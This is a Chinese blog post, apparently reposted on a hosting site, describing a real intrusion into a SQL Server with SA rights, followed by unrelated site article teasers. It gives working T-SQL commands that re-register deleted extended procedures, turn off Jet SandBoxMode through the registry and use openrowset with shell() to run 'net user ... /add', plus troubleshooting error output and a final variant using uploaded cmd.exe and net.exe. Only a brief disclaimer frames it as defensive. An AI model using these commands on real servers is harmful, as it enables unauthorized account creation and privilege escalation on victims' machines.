通过重建方法获取webshell

获取webshell是黑客入侵服务器想要提权的必要手段,如何防止黑客获取webshell成为了安全管理员所要思考的问题。我们通过以下的入侵实例,使网络安全管理员能够分析入侵情况,避免黑客获取webshell的情况发生。

今天突然发现有一个SA权限。服务器管理员将大部份扩展都删除了。最后自己重建sp_makewebtask存储才搞到一个webshell了。

当然有了webshell,无法满足我们贪婪的欲望。开始测试提权。有serv-u,但是提权失败了。也许大家会说用back log来提权。但是那个太慢了,要重启机器,会影响对方业务,同时又会给对方留下不好的印像。有人也许会说用读取系统账号的注册表,导入导出,克隆账号,这个办法也可行,但由于并非黑对方主机,还是要保证对方系统的安整性比较好。(也许是心理因素,^_^)

最后只好试试沙盒模式。很多人SA直接用沙盒模式成功了好多机器,但我从来没实践过,也不太清楚成功率如何。只好拿他当回肉鸡尝试了。

由于扩展被删除,先恢复对注册表的读写存储。

dbcc addextendedproc (‘xp_regread’,’xpstar.dll’)

dbcc addextendedproc (‘xp_regwrite’,’xpstar.dll’)

修复沙盒的保护模式

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,0;–

查看’SandBoxMode’值是否已经变成0了。

exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’, ‘SandBoxMode’

最后调用沙盒模式

select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=C:WINDOWSsystem32iasdnary.mdb’,’select shell(“cmd.exe /c net user user passwd /add”)’)

1.如果沙盒保护模式未“关闭”,会报错:

服务器: 消息 7357,级别 16,状态 2,行 1

未能处理对象 ‘select shell(“cmd.exe /c net user user passwd /add”)’。OLE DB 提供程序 ‘microsoft.jet.oledb.4.0’ 指出该对象中没有任何列。

OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName=’microsoft.jet.oledb.4.0′, Query=select shell(“cmd.exe /c net user user passwd /add”)’]。

2.如果.mdb不存在或是输入路径错误

服务器: 消息 7399,级别 16,状态 1,行 1

OLE DB 提供程序 ‘microsoft.jet.oledb.4.0’ 报错。

[OLE/DB provider returned message: 找不到文件 ‘C:WINDOWSsystem32iasdnary1.mdb’。]

OLE DB 错误跟踪[OLE/DB Provider ‘microsoft.jet.oledb.4.0’ IDBInitialize::Initialize returned 0x80004005: ]。

3.如果输入过程中多了一些空格,也会报错。尤其要注意这点,很多人直接网上找文章复制粘贴进去执行。

服务器: 消息 7357,级别 16,状态 2,行 1

未能处理对象 ‘select shell(“cmd.exe /c net user user passwd /add”)’。OLE DB 提供程序 ‘microsoft.jet.oledb.4.0’ 指出该对象中没有任何列。

OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName=’microsoft.jet.oledb.4.0′, Query=select shell(“cmd.exe /c net user user passwd /add”)’]。

4.如果mdb权限和cmd.exe权限不对,同样会也出现问题。

当mdb权限不对时,

服务器: 消息 7320,级别 16,状态 2,行 1

未能对 OLE DB 提供程序 ‘Microsoft.Jet.OLEDB.4.0’ 执行查询。

[OLE/DB provider returned message: 未知]

OLE DB 错误跟踪[OLE/DB Provider ‘Microsoft.Jet.OLEDB.4.0’ ICommandText::Execute returned 0x80040e14]。

5.如果net权限不对时,却没有任何提示。

最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行

select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=E:webias.mdb’,’select shell(“E:webcmd.exe /c E:webnet.exe user user passwd /add”)’)

成功增加一个计算机用户。

通过重建方法获取webshell是一个可行的入侵手段,不过我们还是要提示大家,实例仅供参考,其最终目的还是希望企业安全管理员能够加强防护意识。

 

【编辑推荐】

  1. 黑客网络入侵大型网站的完整思路
  2. php注入后的提权

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/124019.html<

(0)
运维的头像运维
上一篇2025-02-23 02:15
下一篇 2025-02-23 02:16

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注